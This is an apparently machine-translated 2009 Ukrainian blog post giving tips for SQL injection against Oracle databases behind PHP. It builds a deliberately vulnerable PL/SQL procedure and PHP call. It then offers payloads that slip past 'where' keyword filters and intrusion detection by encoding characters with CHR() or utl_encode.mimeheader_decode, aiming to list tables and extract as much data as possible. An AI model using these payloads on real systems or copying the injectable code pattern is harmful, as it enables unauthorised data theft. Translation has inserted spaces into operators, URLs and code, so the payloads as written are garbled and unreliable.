Home > Other, Security > Oracle Hack: Oracle DB обхід деяких обмежень.

Oracle Hack: Oracle DB обхід деяких обмежень.

December 24th, 2009 dsu Leave a comment Go to comments

І знову про Oracle :)
Header


Уявімо ситуацію:
1. Back-end: Oracle Database Sever (8i-10g).
2. Front-end: Apache + php (будь-http сервер + будь-який інтерпретатор, не важливо який, але для наочності візьмемо php, саме його я і використовував при написанні цієї статті).
3. Завдання: обійти обмеження і отримати якомога більше інформації
4. Захист: фільтр where, set, insert у запиті.
5. Ми будемо розглядати ін’єкцію в pl / sql процедуру, яка, в свою чергу, вже виконує sql запит

Content

Перше, і найголовніше, що робиться після виявлення sql | pl / sql ін’єкції,
це підбір стовпців. Тут, зазвичай, проблем не виникає, проблеми йдуть далі, коли ми хочемо дізнатися назву таблиць і стовпчиків.
example.org / dsu.php? param = p1 'union select table_name from all_tables where owner = user --
Не думаю, що варто, але просили писати більш детально так що буду пояснювати, що це за запит.
Table_name – це колонка з ім’ям таблиці, яка знаходиться в таблиці All_tables, where OWNER = USER. Тут все трохи складніше
owner – це стовпець у якому міститься ім’я користувача є “господарем” таблиці,
user – це функція, яка повертає ім’я поточного користувача.
Ну ось робимо такий запит і … у відповідь тиша, сервер нібито просто “обрубав” сесію, знайомо?
Але панікувати не варто і робити запити на вибірку всіх таблиць і колонок теж не варто, щодо таблиць можливо і можна, але от колонки – навряд чи сервер вам дозволить отримати таку кількість інформації (розміри буфера які передбачені для oci и.т. д і.т.п).
Вихід зі сформованої ситуації є, навіть не вихід, а виходи. Він полягає у чималій кількості функцій для роботи з текстом в oracle бд.
Ну знову ж таки менше тексту більше справи

Для наочності створимо з БД вразливу процедуру

CREATE OR REPLACE PROCEDURE GET (PARAM VARCHAR) IS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFFER VARCHAR2(200);
BEGIN DBMS_OUTPUT.ENABLE(1000000);
OPEN CV FOR
'SELECT USERNAME FROM ALL_USERS WHERE USERNAME = ''' || PARAM ||'''';
LOOP
FETCH CV INTO BUFFER;
DBMS_OUTPUT.PUT_LINE(BUFFER);
EXIT WHEN CV%NOTFOUND;
END LOOP;
CLOSE CV;
END;
/

GRANT EXECUTE ON get TO PUBLIC

На те, що робить процедура довго зупинятися не буду, знову ж таки все просто
1.Получаем параметр
2.Создаем курсор
3.Парсім курсор
4.Виполняем курсор
5.Висновок на екран.

З php викликати як

...

$ sql = 'BEGIN get (\' $ _GET [param] \ '); END;';

...

Думаю тут пояснювати нічого не треба.
Вступу і підготовка закінчені тепер до справи.

Варіант перший: chr ();

SYS 'UNION select TABLE_NAME FROM ALL_TABLES' | | CHR (119) | | 'HERE OWNER =''FLOWS_FILES''-')

замість where ми вставляємо ‘| | CHR (119) | |’ HERE, тобто символ W “довставляється” функцією CHR () і додається до запиту, використовуючи символи конкатенації рядків | |.
Як видно вище, where ми не передаємо, з цієї причини запит проходить. Користуючись даним методом можна багато чого обійти, наприклад, фільтрацію лапок, це неодноразово згадувалося багатьма авторами.

Варіант другий: utl_encode.mimeheader_decode ()

SYS 'UNION select TABLE_NAME FROM ALL_TABLES' | | utl_encode.mimeheader_decode ( '=? UTF-8? Q? W ?=')||' HERE OWNER =''FLOWS_FILES''

Тут той же метод, тільки ми використовуємо іншу функцію для роботи з рядками, а саме utl_encode.mimeheader_decode (), яка входить до utl_encode, загалом все просто.

Можна фантазувати і далі, і фантазія призведе до такого :

SYS'' '| | utl_encode.mimeheader_decode (' =? UTF-8? Q? UNION = 20select = 20TABLE = 5FNAME = 20FROM = 20ALL = 5FTABLES = 20WHERE = 20? ==? UTF-8? Q? OWNER = 3D ' 'FLOWS = 5FFILES''?=')||' --

А це вже обхід IDS, плюс саме цієї функції в тому, що лапки в тексті можна розставити і після кодування, що зручно, а також ще є можливість явно вказати в якому кодуванні текст.

Footer

Дана стаття – не зовсім стаття, це просто набір порад, не більше того. Я не використовував base64 свідомо, так як на увазі популярність даного алгоритму будь-яка нормальна IDS звертає на нього увагу, та й прикладів його використання ви знайдете безліч. Я не претендую на те, що це єдиний спосіб. Це можна розцінювати як підказки.

Categories: Other, Security Tags:
  1. December 25th, 2009 at 00:42 | #1

    Приятно видеть, что не все зацикливаются на PHP+MySQL.

  2. December 25th, 2009 at 00:57 | #2

    Вот и я так думаю… но не все это готовы принять большинство заглядывать дальше LAMP-а не хочет…

  1. No trackbacks yet.